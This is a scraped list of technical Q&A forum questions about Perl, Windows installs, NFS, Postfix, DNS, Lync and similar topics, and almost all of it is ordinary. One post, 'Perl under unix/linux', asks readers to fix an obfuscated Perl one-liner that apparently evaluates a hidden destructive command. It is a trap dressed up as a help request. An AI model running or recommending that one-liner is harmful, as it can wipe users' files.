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• perl mass text replace with literal dollar sign

  - by user12145

  trying to replace text patterns with dollar signs and ()s, can't get it to work. please help find /var/www/vhosts/prod/xxx/ -name "*.php"|xargs perl -w -i -p -e "s/mysql_fetch_array($res,MYSQL_ASSOC)/mysql_fetch_assoc(\$res);/g"

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• Windows-based video creation with Ken Burns effect

  - by Chris Farmer

  I want to create a video of old photos and I would like to use the Ken Burns effect for more pleasant transitions. I don't think I require inserting any existing video clips into this -- I just want to create a video from my images. It would be nice to be able to add titles and captions, too. Which Windows-based software can help me with this?

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• Can't install Windows Desktop Search 4.0

  - by Ben Baril

  On a windows XP system, I try to download and install Windows Desktop Search 4.0 and it fails. The error I get: Windows Search 4.0 could not be installed on this system. For more details, check the log file. (C:\Windows\KB940157.log) The contents of that file: http://pastebin.com/MW37NXCy No idea how to resolve this. Any help is extremely appreciated!

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• Drivers not installing and drives not being recognized

  - by jab818

  Dell optiplex 755 running win7-32 Two problems, not sure if they're related 1: Two drivers are missing when viewing device manager, PCI serial port and PCI Simple Communications Controller, I've searched dell's site, and the internet as a whole and have been wholly unable to find the drivers. 2: I'm unable to connect any external hard drives, but any flash drives plugged in will be recognized and accessible by the computer without issue. Any help would be appreciated.

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• Trimming articles' lengths in Google Reader

  - by Dov

  I'm considering switching to Google Reader from Safari's RSS reader. One feature that I would absolutely miss from Safari is its Article Length slider it gives you for each feed, so you can choose to show more or less content. Is there any way to achieve this in Google Reader's Expanded view? PS I also posted this question on Google's Help forum here.

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• Toshiba G20-120 raid / sata drivers for integration with winxp or windows 7 installation

  - by ldigas

  The title pretty much says it all. Does anyone know where they can be downloaded ? Or how to turn off in bios sata for hdd's ? Bios is very simple, and I just don't see the option. In any case, anything that you could tell that would help me install a fresh xp or '7 windows, would be appreciated.

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• No audio from USB device on iMac

  - by brandon

  My computer froze the other day and started a buzzing noise. After I restarted in the middle of it, the buzzing persisted. A few restarts later, the buzzing stopped, but I can't get audio to come from my audio interface setup anymore. I'm using an M-Audiophile USB to connect to studio monitors, and there's absolutely no audio. I've tried restarting many times and unplugging - still nothing. Any help would be appreciated.

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• perl hide system output

  - by Chris

  Using perl 5.8.8 on linux, need the output of a perl 'system' command to be hidden. The command in my code is : system("wget", "$url", "-Omy_folder/$date-$target.html", "--user-agent=$useragent"); I've tried using " /dev/null 2&1" in different places in the system command, like this- system("wget", "$url", "-Omy_folder/$date-$target.html", "--user-agent=$useragent"," /dev/null 2&1"); Can anyone help me with where the redirection to /dev/null should be?

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• Why does a wired network slow down with user increase?

  - by Ed Briscoe

  If you had a wired network, 20 PCs hooked up to a 100 Mbit/sec switch (same onboard ethernet port speed) and you were just sending some test data round. What is the technical explanation as to why 20 machines sending test data around this network to each other is slower than one to one? I mean I know a busy network means it's slower but I'm really trying to understand some more technical details. Thanks for any help

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• How can one undelete an accidentally deleted fan page?

  - by Doug T.

  No clue if this is an appropriate SU question or if it's best migrated elsewhere. I help administer a Facebook fan page for a local business. Recently one of the other administrators accidentally deleted the Facebook fan page. We have tried to fill out this form: http://www.facebook.com/developers/developer_help.php And have yet to receive a response. We are desperate to have the fan page restored. Thanks for any pointers.

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• How does subdomain forward by domain registrar work?

  - by tarasm

  Can you please help me understand how this particular functionality works: I have a domain: example.com, it's registered with GoDaddy. its nameservers are set to linode: ie. ns1.linode.com, ns2.linode.com But at the same time, I can setup a subdomain redirect on GoDaddy and it works. So, I can create a 301 redirect from www. - non www. Can you please tell me how GoDaddy can do this?

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• Installing APC on lighttpd + php 5.2 on Ubuntu 10

  - by Patrick

  I found several tutorials internet about how installing APC (PHP cache) with php5 and apache on Ubuntu, and I've also found some about installing it with lighttpd + php5 on Debian. I actually need a tutorial for installing APC on servers with the following configuration: lighttpd + php 5.2 on Ubuntu 10 I know it should be pretty similar, but if I found the exact tutorial I could save time. Could you help me ? thanks

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• Print Microsoft Project chart as giant PDF

  - by Eric

  Hi, I have Adobe's PDF creator installed and I'm using Microsoft Project 2007... I want to print my gantt chart as one giant single-page PDF. (Currently it's set to print on letter sized paper, and it's six pages in a 3x2 layout.) I can't figure out where or how to make those settings. The PDF page setup doesn't seem to be right, nor "page setup" in Project. Help :-)

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• NFS automounts hang

  - by Yang

  Hi, I have been mounting NFS shares on my x86 Ubuntu with NIS/am-utils fine for a long time, but today my system got into a state where it could no longer access automounted directories and instead frequently got hung up trying to access them, returning either "Input/output error" or "Permission denied" (almost randomly), as well as "stale file handle." I can, however, manually mount that share fine. Restarting am-utils doesn't help get my system out of its funk; is there any other way of getting my system un-stuck?

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• getting warning messages "avahi-daemon[3201]: Invalid query packet." on suse 10.1 server with raid 1

  - by jarus

  I had recently replaced a failing hard drive on my software raid 1 system with suse 10.1 , and i am checking for any warning messages on " var/log/warn " and i found this message "avahi-daemon[3201]: Invalid query packet." more than 12 times , i am new to these stuff , should i be concerned , is there something wrong with the system , can i check anywhere else to find out if there is any problem with the system. Any help will be greatly appreciated. Thanx in advance.

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• Difference between adding MIME types in IIS via Websites vs Local Computer?

  - by Alex Key

  What is the difference between adding MIME types in these 2 different situations? When in IIS 6 manager... Right click on the computer name (local computer) properties mime types Right click on the "Web sites" folder properties http headers mime types I'm guessing that perhaps option 1 adds MIME types for FTP also? However if that were true i'd expect to be able to add MIME types specifically in the properties of FTP (and not just websites). thanks for your help.

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• Perl under unix/linux

  - by folone

  Could anyone help me fix the following script: cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' It won't print to the output.

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• Unable to install sbs 2008 in DELL POWEREDGE T100 [closed]

  - by Swaminathan Shanmugam

  Still unable to install WIN SBS 2008 in DELL POWEREDGE T100 server and the long post is going on at http://social.technet.microsoft.com/Forums/en-US/winservergen/thread/aa1bc4b0-943e-4ada-8de1-e03161c8fc2c My problem is unable to install sbs 2008 in 500 GB 4k sectors hdd but installation is successful in 512 bytes sector hdd. Anybody please help to solve this issue? Installation of SBS 2008 proceeds ; atlast it is not getting completed with the error message "Windows Setup could not configure Windows on this computer’s hardware"

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• Access to files on Windows 2003 server from Mac

  - by Clinton

  Hi, I can access the Windows 2003 server from my Mac, but can't see all the files. I am using Snow Leopard and have followed fixes online. All get me connected and I can see all folders, but not all files within these folders appear. Someone else using a Mac can see all files which is very odd. Any help much appreciated. C

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• Lync server 2010 Active Directory Preparation with a Windows Server 2003 DC

  - by juFo

  I'm trying to install Lync server 2010 but i'm stuck for a while now with the "Active Directory Preparation" part of the Lync server 2010 installation. The "Prepare Schema" fails with the following error: "Step 1: Prepare Schema Run once per deployment. Extends the schema for Lync Server. Not Available: Failure occurred while attempting to check the schema state. Please ensure Active Directory is reachable." screenshot: https://skydrive.live.com/#cid=CB15F1A932B364BE&id=CB15F1A932B364BE%211742 The situation: 1 server with Windows Server 2003 (x86), which is the only Domain Controller (DC) 1 server with Windows Server 2008 R2 (x64) where Lync should be installed. First I have found that the DFL/FFL were not correct: On the DC (server2003) I have changed the Domain Functional Level to Windows Server 2003 and also the Forest Functional Level to Windows Server 2003. If I check these settings on the Server2008 with Active Directory Domains and Trusts, I see indeed that the DFL and FFL are being set to Windows Server 2003. (Windows Server 2003 is the minimum required for Lync server 2010) I tried the Lync AD Preparation again but still got the same message: https://skydrive.live.com/#cid=CB15F1A932B364BE&id=CB15F1A932B364BE%211742 I'm logged in on the Server2008 and Server2003 with the domain administrator account. If I check "Active Directory Users and Computers" and go to the directory Users and watch the properties from the Administrator User then it is also a Member of: Domain Admins Domain Users Enterprise Admins Schema Admins Group Policy Creator Owners The firewall on the server2008 is turned off, still nog working So now my question is: what should I do to make the Lync setup (Active Directory Preparation) work? (I would appreciate clear step-by-step suggestions to check.) Thanks in advance. Update 1: Now I've extended AD successfully on the 2003 DC, using this link: http://blogs.pointbridge.com/Blogs/sloan_jason/Pages/Post.aspx?_ID=2 but when I check the Active Directory Preparation again on the Lync install, it still gives me the same error as in the screenshot I've provided. Update 2: I found out that there is a log on "C:\Users\\AppData\Local\Temp\ with this: Get-CSDomainState Get Domain State Error: An error occurred: "Microsoft.Rtc.Management.ADConnect.NoSuitableServerFoundException" "No suitable domain controller was found in domain "OurDomain.LOCAL". Errors:\r\n"OurDCserver.OurDomain.LOCAL5.2 (3790)5.2 (3790) Service Pack1OurDCserver.OurDomain.LOCAL5.2 (3790)5.2 (3790)Service Pack 1"" I thought Lync could be installed with a Windows Server 2003 (according to the documentation on technet) and it doesn't require a SP. :s

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• Where to set catch-all address in Postfix (virtual mailboxes in affect)

  - by Cem

  I successfully configured Postfix to deliver messages to virtual mailboxes. I can set aliases and pipes inside /etc/postfix/virtual and mailboxes inside /etc/postfix/virtual_mailbox files. However, whenever I set a catch-all domain and point to a remote email address, it overrides all other virtual mailboxes and virtual aliases set in postfix. How can I set a catch-all forwarding to the remote email address when virtual mailbox is enabled? I set catch-all like this: @mydomain.com [email protected] Thanks for your help!

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• This application has failed to start because the application configuration is incorrect

  - by Arman

  I have created an application in c++ using VS .Net. There is only the windows.h dependency in my application, all other header files are standard. But the problem is when I make the release of my application and run on other system it show the error dialog box, "This application has failed to start because the application configuration is incorrect". Kindly help me to sort out this problem.

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• Password best practices

  - by pcampbell

  Given the recent events with a 'hacker' learning and retrying passwords from website administrators, what can we suggest to everyone about best practices when it comes to passwords? use unique passwords between sites (i.e. never re-use a password) words found in the dictionary are to be avoided consider using words or phrases from a non-English language use pass phrases and use the first letter of each word l33tifying doesn't help very much Please suggest more!

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• DNS servers and load balancing

  - by RadiantHex

  Hi there! I'm wondering if a simple DNS server could offer, even a limited amount, of load balancing capability. I have a couple of servers and I've been told that multiple IPAddresses can be associated with one domain. Help would be very much appreciated!

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• Cygwin vim doesnt show 256 colors under ConEMu

  - by Tulhan

  When using cygwin vim under ConEmu, the default vim theme doesnt display correctly after I set t_Co=256. This is how ConEmu looks after the command: http://postimg.org/image/g6g98exbx/ My .vimrc: set nocompatible execute pathogen#infect() filetype plugin on syntax on set term=xterm set t_Co=256 let &t_AB="\e[48;5;%dm" let &t_AF="\e[38;5;%dm" colorscheme solarized My vim --version: http://pastebin.com/1NFaA8YK I am using ConEmu v131017. Thanks for your help.

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